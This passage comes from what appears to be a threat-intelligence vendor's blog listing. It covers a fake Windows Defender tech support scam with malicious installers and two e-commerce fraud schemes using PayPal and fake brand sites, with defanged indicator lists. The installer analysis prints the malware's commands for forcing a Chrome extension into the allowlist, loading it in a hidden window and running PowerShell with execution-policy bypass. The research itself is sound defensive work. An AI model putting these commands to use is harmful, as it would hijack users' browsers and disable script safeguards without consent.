  • 188.114.96[.]2

Using Silent Push to reveal additional IoCs

Through enriched scans of the threat actor’s public DNS information, we uncovered a large amount of previously unexplored data, along with IoCs relating to the original campaign – both on the same IP ranges and hosted on separate infrastructure.

Our research uncovered numerous additional attack vectors, not limited to the original tech support scam.

We found a variety of fake support page formats, malicious executables and fake browser extensions, suggesting a far broader threat landscape than that which was included in Malwarebyte’s original report.

Let’s take a look at what we found, and how we found it.

Navigating the attackers’ domain infrastructure

To target previously undocumented IoCs, we performed a customised scan of the above IPs, which flagged olalee[.]sbs as a malicious domain:

olalee[.]sbs

olalee[.]sbs redirects to 51.159.142[.]92, providing us with an entire subnet to investigate.

Exploring the threat landscape using Silent Push Reverse A record lookups

Using Silent Push’s Reverse A lookup tool (available on our free Community app), we discovered that all TLDs on the 51.159.142[.]92 subnet containing the characters .xyz, .sbs, .click, .cfd, and .cyou hosted malicious campaigns on their associated domain names (see below example):

Reverse A lookup of 51.159.142[.]92/24 returning alasred[.]click
Evidence of malicious activity on alasred[.]click

We also discovered another group of TLDs – .ga, .gq and .tk – either currently residing on 188.114.9x.x (see above), 104.21.17.x and 172.67.176.x, or showing evidence of having used those particular groups of network IDs at some point in the past.

Legitimate hosting platforms affected

The attacker’s infrastructure isn’t limited to suspect hosting sites. We found evidence of fake tech support pages set up through well-known hosting providers such as Cloudflare (originalcenter.pages[.]dev), 000WebHost (unnourished-region.000webhostapp[.]com) and Netlify (microsoft-windows[.]netlify.app):

Malicious domain hosted via 000WebHost
Malicious domain hosted via Cloudflare
Malicious domain hosted via Netlify

Analysing the malicious installers

As we navigated through the threat actors’ public DNS infrastructure, we encountered domains that played host to a variety of malicious activities, including fake executable installers, fake browsers and hoax Chrome extensions, with many of the scam domains being passed off as safe by security vendors (see below).

Example installer domain – mantis.edition-eltern[.]com

During our research, we came across mantis.edition-eltern[.]com, masquerading as an Asian discussion forum with branding similar to the now-defunct Yahoo Answers, which shut down in May 2021:

Malicious domain – mantis.edition-eltern[.]com

Following the ‘Windows Defender’ link, users are redirected to the below site, prompting a download of what appears to be a Windows Defender installer:

Installer redirect from mantis.edition-eltern[.]com

Once clicked, the ‘Download Now’ button redirects again to a malicious Chrome extension:

Malicious Chrome extension

Querying mantis.edition-eltern[.]com across 91 security vendors returned zero flags:

mantis.edition-eltern[.]com flagged as secure with 91 security vendors

The Chrome extension fared slightly worse, but only just, appearing in a solitary vendor’s list of malicious apps:

Malicious file passed as legitimate by 71 out of 72 security vendors

Picking apart the installer’s functions

After conducting further analysis of ChromSetup.exe, we discovered several malicious characteristics:

  • An invalid signer
Invalid signer
  • Forcefully adding itself as a Chrome extension through registry changes:

REG ADD "HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "1" /t REG_SZ /d pejhfhcoekcajgokallhmklcjkkeemgj /f 

  • Initiating a Chrome instance after the extension has been installed, without a corresponding startup window:

"C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --load-extension="C:\apps-helper" --no-startup-window

  • Using Powershell commands to create its own text file, in a local directory, and adding the file to ‘Powershell ExecutionPolicy Bypass’, allowing the extension to ignore a built-in safety feature that controls the conditions under which PowerShell loads configuration files and runs scripts.

Powershell.exe -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\is-60CAT.tmp\\chrome.ps1 

Other installer-based attack vectors

Some other installers we encountered masqueraded as adblockers, streaming applications and even standalone web browsers:

Fake adblocker download page
Fake browser download page
Fake streaming app download page

The attackers haven’t limited themselves to malicious software downloads.

There’s also evidence of hoax payment portals (redirected from the above streaming site) that initiate browser-hijacking sessions, and embed adware such as static.hotjar:

Hoax payment pop-up
Adware code from the above domain

Uncovering other fake support campaigns

Using enriched data harvested from our daily scans of millions of domains across the entire IPv4 range, we performed further granular searches that identified numerous other fake support pages.

These pages differ visually from the original Windows Defender campaign (or attempt to spoof another vendor entirely) but feature the same angle of attack – a hoax tech support line.

Here’s an example featuring a different language, and an EU telephone number:

French/German tech support scam

Other examples show the attackers targeting McAfee, instead of Microsoft:

McAfee fave AV scam

Silent Push custom threat feeds

We’ve passed our research on to all the affected organisations – including the legitimate hosting providers that are being used to host malicious content.

We’re currently in the process of creating a custom feed that lists all associated malicious infrastructure, that paid subscribers can integrate with their existing security stack, ensuring early detection and enabling proactive monitoring of the attack surface with data that isn’t seen in other global feeds.

Follow us on LinkedIn and Twitter for weekly threat intelligence updates and research.

To download our free Community app – the largest free library of SaaS-based threat defence tools available anywhere in the world, including some of the queries we’ve mentioned in this report – visit Silent Push Community App — Silent Push Threat Intelligence

Indicators of Compromise

Websites and domains

  • lovetechie[.]com
  • mail.supporttechwin[.]net/
  • microsoft-windows[.]netlify.app
  • microsoft-windows-defender-offline.descargasbajar[.]com
  • mantis.edition-eltern[.]com
  • windows-defender-hub-1.downloadsgeeks[.]com
  • windows-defender-hub-1.down4you[.]software
  • assistance.pages[.]dev
  • unnourished-region.000webhostapp[.]com
  • lugyt2[.]tk
  • hellboylucy509.000webhostapp[.]com
  • originalcenter.pages[.]dev
  • falernian-plane.000webhostapp[.]com
  • royyu[.]SBS
  • lugyt2[.]tk
  • alasred[.]click
  • fasertshop[.]online
  • futuresystemerrors.thevalueformoneywithsolar[.]com
  • hellboylucy509.000webhostapp[.]com
  • supporttech-win[.]com
  • supportfr.pages[.]dev
  • gakey.axoneday[.]xyz
  • www.olalee[.]sbs
  • microsoft-windows.netlify[.]app
  • thanforestacion[.]xyz
  • hollowpe[.]xyz
  • shoughpe[.]xyz
  • parfaype[.]xyz
  • pishcds[.]xyz
  • goalsamsunet[.]xyz
  • ariyntpe[.]xyz
  • oyezsre[.]cyou
  • asafry[.]cyou
  • guyle[.]cyou
  • eighred[.]xyz
  • onuwe[.]cyou
  • tyorr[.]cyou
  • enoighpe[.]xyz
  • kandoura[.]xyz
  • opakia[.]xyz
  • jogay[.]SBS
  • fronttm[.]SBS
  • playtm[.]sbs
  • queentm[.]sbs
  • yeartm[.]sbs
  • leoorr[.]sbs
  • nedlee[.]sbs
  • quothape[.]click
  • flattm[.]click
  • uhsdl[.]click
  • yoickspe[.]click
  • pridetm[.]click
  • shirttm[.]click
  • edlin[.]click
  • hartowpe[.]click
  • jaykey[.]click
  • tiletm[.]click
  • alasred[.]click
  • hurrahpe[.]click
  • begonepe[.]click
  • shapetm[.]click
  • bofry[.]click
  • oraltm[.]click
  • misttm[.]click
  • royyu[.]sbs
  • valgay[.]sbs
  • filltm[.]sbs
  • olalee[.]sbs
  • leakim[.]click
  • ringtm[.]click
  • alray[.]click
  • aunttm[.]click
  • evamay[.]click
  • papertm[.]click
  • halli[.]click
  • tylee[.]sbs
  • eliray[.]sbs
  • bokim[.]sbs
  • pamho[.]click
  • nedpee[.]sbs
  • sallin[.]cfd
  • wmday[.]cfd
  • guylam[.]cfd
  • wavetm[.]cfd
  • kneetm[.]cfd
  • sailtm[.]cfd
  • asafox[.]cfd
  • cordtm[.]cfd
  • ridertm[.]cfd
  • leegay[.]cfd
  • buyertm[.]cfd
  • iuyw[.]cfd
  • egadsre[.]cfd
  • eventtm[.]cfd
  • goaltm[.]cfd
  • dutytm[.]cfd
  • louwu[.]cfd
  • leoorr[.]cfd
  • angertm[.]cfd
  • joliu[.]cfd
  • loufox[.]cfd
  • alorr[.]cfd
  • errorlogwiththechecker[.]xyz/
  • rodmay[.]sbs
  • taawatchtuttlect[.]tk
  • compcadisp[.]ga
  • exarber[.]gq
  • taoriohaybras[.]tk
  • cepphonand[.]gq
  • tranmalirilinkwor[.]tk
  • arbalsafedager[.]tk
  • nestibufecomsoft[.]cf
  • preseptic[.]tk
  • mispnonpstarcupimcomp[.]tk
Black Friday phishing screenshot

Black Friday e-commerce scam: Comprehensive analysis of PayPal attack vectors.

/in /by

We recently published a blog that uncovered an online retail scam involving popular brands such as Ralph Lauren, Nike, Adidas, and Prada.

As promised, our analysts have conducted further research, and we’d like to share what we’ve discovered.

Fake Ralph Lauren site


To extract money from unsuspecting users, the operation uses three distinct phishing/social engineering techniques:

  1. Redirection to a PayPal page, with an attacker-controlled recipient email.
  2. Catphishing users with a PayPal invoice.
  3. Harvesting data to a local or intermediate server.

In our first blog, we described how the attackers skim payment card details and PII to a malicious server.

Let’s take a look at how the scam uses PayPal to extract money – either via direct payment or through a legitimate PayPal invoice.

Method 1 – Redirection to a PayPal payment page

After they’ve been fooled into visiting a hoax website, the user is prompted to enter personal information into a web form to create an ‘account’.

They’re then redirected to a payment page, such as the one below:

Fake Spyder Checkout Page

Once the user has entered their payment card details, the site redirects them to a PayPal login page, with the order ID and amount to be debited included as pre-configured parameters.

The minimum order amount appears to be $95-$99, with smaller orders following a different redirection path.

The attackers also don’t bother calculating an exact order amount. Once a minimum order threshold of $95-$99 is reached, any exceeding amount is ignored.

After analyzing the POST request generated by the card submission, we discovered that users are routed through another URL (belonging to ipn.suiku[.]top) before arriving at PayPal:

POST details

The URL then populates a PayPal page, with an attacker-controlled recipient email (see below for a list of associated emails) and the amount to be debited pre-loaded via a few lines of code:

PayPal redirection

Method 2 – Legitimate PayPal invoices

Instead of relying solely on payment card details, some of the sites use a legitimate PayPal invoice to extract money from unsuspecting users.

This type of technique should immediately raise concerns. Online consumer checkouts rarely – if ever – request payment via an invoice. Such methods of payment are almost exclusively reserved for B2B transactions.

This fake Reebok checkout page generates a PayPal invoice for $97, rather than asking for a direct card payment:

Fake Reebok payment site
PayPal invoice following redirection

Once users agree to pay the invoice, they’re then redirected to a PayPal login page to complete the transaction, as seen in method 1 above.

When analyzing the POST request code from a traffic capture after the checkout form has been submitted, we can see that the invoice page URL is directly embedded in the HTML:

Paypal invoice directly embedded in POST request submission

Next steps…

We’re adding a custom threat feed to the Silent Push platform that paid subscribers can use to stay one step ahead of the scam. We’ll also be passing our findings on to PayPal.

PayPal has safeguards in place that remind users of the need to be vigilant online, but as we’ve seen, this group of threat actors is casting their net far and wide with a variety of attack vectors that exploit some of the biggest names in online retail.

Visit silentpush.com for more information on how Silent Push can help to protect your infrastructure in the run-up to the holidays.

Register for the Community version to take advantage of the largest free library of SaaS-based threat defense tools available anywhere in the world.

IoC list

Email accounts associated with the scam

  • dhepzrgwnuq@hotmail[.]com 
  • wmwtvcdv@hotmail[.]com
  • rtsuess@hotmail[.]com
Pad lock on top of a credit card on top of a laptop

Global online retail fraud uncovered, affecting big-name brands in the run-up to Cyber Monday

/in /by

Our Threat Analysts have uncovered a worldwide e-commerce fraud, featuring thousands of fake websites and payment portals for numerous big-name clothing and footwear brands, in the run-up to the holiday season.

Companies affected include Versace, Prada, Puma, Nike, Ted Baker, Converse, Ralph Lauren, Lacoste, Quicksilver Timberland, Vans, The North Face, La Perla, and Ugg.

A large group of threat actors are registering domain names that mimic a brand’s online presence, and tricking users into handing over Personally Identifiable Information and payment card details, through fake registration and payment forms, and hoax product pages.

  • The fake sites, featuring valid SSL certificates and HTTPS, all share some common denominators:
  • Textual errors, including spelling mistakes and branding/image anomalies.
  • Fake products ‘retailing’ for between $50-$300, often at huge discounts.
  • A focus on high-end goods from big-name online retailers.
  • A lack of product reviews.
  • Malfunctioning contact forms and social media buttons linking to standardized login pages.

The fake sites are put together using a standardized template, with some sites currently ranking on the front page of popular search engines, such as Bing, Yahoo, and DuckDuckGo.

We’ve published a list of IP ranges affected and are actively working on uncovering more Indicators of Compromise, including domain derivatives and site characteristics, as the threat landscape unfolds.

Prada website screenshot

‘Tis the season to be wary’: Huge online retail scam uncovered in the lead-up to Christmas.

/in /by
  • Scammers harvesting personal information and payment card details from fake websites.
  • Big name clothing and footwear brands affected in multiple countries.
  • Dangers for global consumers in the run-up to Cyber Monday and Black Friday.
  • Hoax websites appearing on the first page of search results.

The holiday season is nearly upon us. With Black Friday and Cyber Monday fast approaching on the 25th and 28th November, and with 60% of adults planning to start their Christmas shopping before December, the accelerated digitization of shopping habits throughout the COVID-19 pandemic has retailers crossing their fingers for an early rush to online checkouts.

Last year, US consumers alone spent $204.5 billion online during the holiday season, and the global ecommerce market is set to top $5.5 trillion by the end of the year.

Unfortunately, it’s not only big name brands that are vying for consumers’ attention.

Fake Ralph Lauren website

Silent Push Threat Analysts have uncovered an enormous fake ecommerce network – featuring high-end brands and thousands of hoax websites – that’s fooling unsuspecting shoppers into handing over personal data and payment card information in a global online shopping scam, affecting household names from around the world of retail, including:

  • Versace
  • Prada
  • Puma
  • Nike
  • Ted Baker
  • Converse
  • Nautica
  • Ralph Lauren
  • Lacoste
  • Quicksilver
  • Timberland
  • Vans
  • The North Face
  • La Perla
  • Ugg

The method

Capturing traffic

To redirect consumer traffic away from genuine companies, the scammers register domain names that mimic a brand’s legitimate online presence – usually by adding words to the company name, spelling words differently, or targeting a brand’s presence in a particular country.

Once the site is live, the scammers install an SSL certificate, allowing them to hide behind what appears to be a valid identity, using HTTPS and a padlock icon to build legitimacy with unsuspecting visitors:

Fake Prada website
Legitimate Prada website

To make matters worse, the scammers have managed to get their websites listed on the front page of prominent search engines such as Bing, Yahoo and DuckDuckGo.

A search on Bing for a popular product from global fashion retailer Reiss displays a scam website (sweetpondcottage[.]com) on the front page, underneath the company’s legitimate website, and well-known outlets such as John Lewis and Millets:

Scam website appearing on the first page Bing

Fake sign-up forms

All of the websites we uncovered feature a registration page that’s designed to steal Personally Identifiable Information (PII) and password data, and with over half of online consumers regularly using the same password combinations for work and personal accounts, there’s almost no end of damage that can be done when that data falls into the wrong hands.

Fake registration form

Phony product pages

To get at consumer’s payment card details, the websites present visitors with what appear to be legitimate high-end products, offered at a significant discount (usually within the $50-$200 price range) compared to their standard RRP.

An Arc’teryx Alpha Parka winter coat sells for €1,000 on the company’s official website (arcteryx[.]com). Scammers have set up a similar domain targeting Irish consumers at arcteryxireland[.]com, featuring a product page that’s relatively similar to the original:

Legitimate Arc’teryx product page
Fake Arc’teryx product page

Harvesting payment details

As well as fake sign-up forms, the scam also features phony payment pages – used to harvest payment card details – that re-direct consumers to suspect third-party payment services, which in turn have the potential to obtain money directly from a user’s bank account.

Investigating the payments operation

Let’s delve a little deeper into the mechanics behind the payment fraud, and investigate how the scammers were utilising customers’ payment card details and PII.

We used a dummy card to attempt to make a purchase on several domains. When the scam sites processed our fake payment, our scans showed that data was harvested the moment it was submitted.

On one fake domain featuring the popular outdoor apparel brand Jack Wolfskin (jackwolfskinoutlet[.]com), visitors are redirected to a seperate payment URL at the checkout – atsupport[.]com/ckgkt/ckout.asp.

Malicious payment site

The portal is designed to look like a genuine online checkout that’s verified by a legitimate third-party service, but once payment details are entered, the site uploads the card number, the CVV code and all other personal details to its own server, and other malicious servers.

Malicious POST information
Malicious POST information
Malicious POST information

Once the scammers have captured the data, they’re able to use it for all manner of purposes, including resale on the dark web, or to make purchases with directly.

Common denominators

Thankfully, all is not lost. As with most scam operations, there are tell-tale signs that should set the alarm bells ringing and alert users to the fact that they’re being taken for a ride.

1. Social media buttons not linking to official sources

Fake websites always avoid linking directly to a brand’s main social feeds.

To understand how potential customers are engaging with their brand, it’s standard practice for marketing departments to analyse traffic to their social media accounts.

Scammers know this, and return links to social media login pages or lists of Tweets by a company, rather than run the risk of being detected by a traffic algorithm.

Here’s an example. Note how the fake Facebook button is coded to provide a link to the user’s Facebook login page, rather than the official Arc’teryx page:

Scam website linking to a Facebook login page
Genuine website linking to a official Facebook page

2. ‘Contact Us’ form missing or incorrect

Threat actors aren’t in the business of encouraging communication from their marks, but that doesn’t stop them adding in a link to a ‘Contact Us’ form, in order to attempt to appear legitimate to anyone casually browsing the site.

All of the websites we encountered throughout the campaign had customer contact forms that either didn’t work, or triggered no response once completed (i.e. no auto-acknowledgment emails received after a message was sent).

3. Textual anomalies

Be on the lookout for spelling mistakes, grammatical errors, and strange text formats (fonts and spacing) that, for one reason or another, just seem out of place.

This kind of scam relies on teams of threat actors creating websites from a pre-configured template that allows them to pump out the maximum amount of fake content, in the least amount of time.

This leads to similarities within the same campaign, from site-to-site, that become relatively easy to spot once you know what you’re looking for.

Several of the fake sites we investigated placed a small amount of text under the brand name, and included a small marketing message in the top banner, directly under the address bar, that looks completely out of place on the website of a big name clothing brand.

Here’s a fake Nike Ireland page advertising (in italics on their ‘homepage’) the fact that they offer a ‘30-day money back guarantee’, between two dollar sign characters.

You’ll notice that the menu font for ‘Men’ and ‘Women’ is also not branded, and looks equally out of place:

Fake Nike homepage, with templated text

The message box stays in the same place throughout all the fake website – sticking to the template – but usually displays different text, depending on what page the user is on.

Here’s the same domain displaying a different message, on a different page, this time adapting the text to the main body content – promoting ‘Fast Delivery’ between two aeroplane icons (replacing the dollar signs from the homepage) on a pair of suspiciously cheap Nike trainers:


4. Suspect product pricing

It would appear that the architects of the scam have decided that offering goods for the same price range across all the fake websites – whatever brand they’re from, and whatever type of product they are – is the best way to grab a user’s attention.

Most of the fake online stores that we encountered advertised goods for ‘sale’ usually between $70 and $300, with items marked down at a huge discount, and an RRP displayed prominently alongside the ‘actual’ price.

Here’s a set of Ugg boots (that retails for £145 on the official website) being sold for £65 on a scam site, and an entire range of Timberland clothing advertised at around £40 a piece.

Fake Ugg boots pricing
Fake Timberland clothing pricing


5. A focus on high-end goods

The scammers are swinging for the fences and focusing their efforts on big-name brands that sell high quality goods, allowing them to leverage their strategy of applying huge discounts on well-known product lines that are advertised twice, three times or quadruple the price anywhere else they’re available.

If it looks to good to be true, it almost always is.

Fake ecommerce operations rarely waste their time on low-end products that generate tiny amounts of revenue.

This particular campaign is intent on capturing the attention of consumers with a level of disposable income that allows them to shop at expensive outlets such as Versace, Prada and Ralph Lauren.

6. No product reviews

Product reviews – or a lack thereof – are always a dead giveaway.

We’ve already discovered thousands of websites spread across potentially hundreds of brand names, and that’s just the tip of the iceberg. Setting up this kind of campaign is a numbers game, and threat actors simply don’t have the time to create fake product reviews for every item they feature on their websites.

Unlike legitimate shopping portals, barely any of the products we encountered had an accompanying review section, and if they did, the link was broken.

Here’s the product page for the Arc’teryx jacket we analysed earlier on. The real website encourages you to read user reviews. The fake website doesn’t:

Legitimate user review link
Fake website with no reviews

Extent of the campaign

Given that the operation relies on templated websites that can be quickly populated with images, text and links without a great deal of effort, there are currently thousands of IP addresses and domain names active within the campaign, affecting prominent brands across the world.

Our Threat Analysts are working on producing a custom feed that’ll proactively track activity on the Silent Push platform across all the various iterations of domain names and IP addresses.

We discovered Chinese characters in some malicious code on several prominent scam sites, and numerous domains we encountered were registered in China, but without definitive evidence across the majority of IoCs in the campaign, we need to keep an open mind as to where the scam originated:

Chinese characters in malicious website code
Malicious domain registered in China

We’re currently conducting further research into the operation that delves into the technical specifics, and sheds even more light on how threat actors are deploying domains and websites, what to look out for and, potentially, who’s behind it.

We’ll be publishing a deep dive over the next week or so. Follow us on LinkedIn and Twitter, and keep an eye out for more blogs.

Indicators of Compromise

5.157.8[.]195 – 5.157.8[.]254
104.160.23[.]130 – 104.160.23[.]188
173.44.202[.]2 – 173.44.202[.]30
196.196.52[.]69 – 196.196.52[.]162
196.196.154[.]195 – 196.196.154[.]243
196.196.194[.]130 – 196.196.194[.]177
196.196.197[.]67 – 196.196.197[.]254
196.196.205[.]2 – 196.196.205[.]126
196.196.205[.]195 – 196.196.205[.]254
196.196.206[.]67 – 196.196.206[.]242
196.196.231[.]66 – 196.196.231[.]254
196.240.45[.]2 – 196.240.45[.]56
196.240.121[.]66 – 196.240.121[.]254
196.245.52[.]67 – 196.245.52[.]126
196.245.155[.]4 – 196.245.155[.]62
196.245.157[.]68 – 196.245.157[.]126
196.245.249[.]66 – 196.245.249[.]126

Start using Silent Push today

Silent Push is an industry-leading extended threat intelligence solution that generates game-changing insights, and identifies new threats to your organization before they launch.

We scan the Internet’s entire IPv4 range every day, and alert you to new threats and rogue assets before they emerge, providing you with the most comprehensive view of Internet activity available anywhere in the world.

Silent Push Community App

The Silent Push Community App allows you to deploy a vast array of powerful domain/IP queries, record lookups and anti-exploit tools free of charge.

Give your teams full access to the Explore and Query Builder sections of the Silent Push App – including access to the Silent Push API – with zero subscription costs.

Silent Push for Enterprise

Silent Push for Enterprise enriches your security stack, providing industry-leading intelligence that you can use to proactively hunt and identify threats to your organization way in advance of your competitors.

Take our product tour and discover how Silent Push will transform the way your organization protects its corporate assets, and analyzes risk.

Follow us on LinkedIn and Twitter for weekly threat intelligence updates and research.

Silent Push Inc. ©2025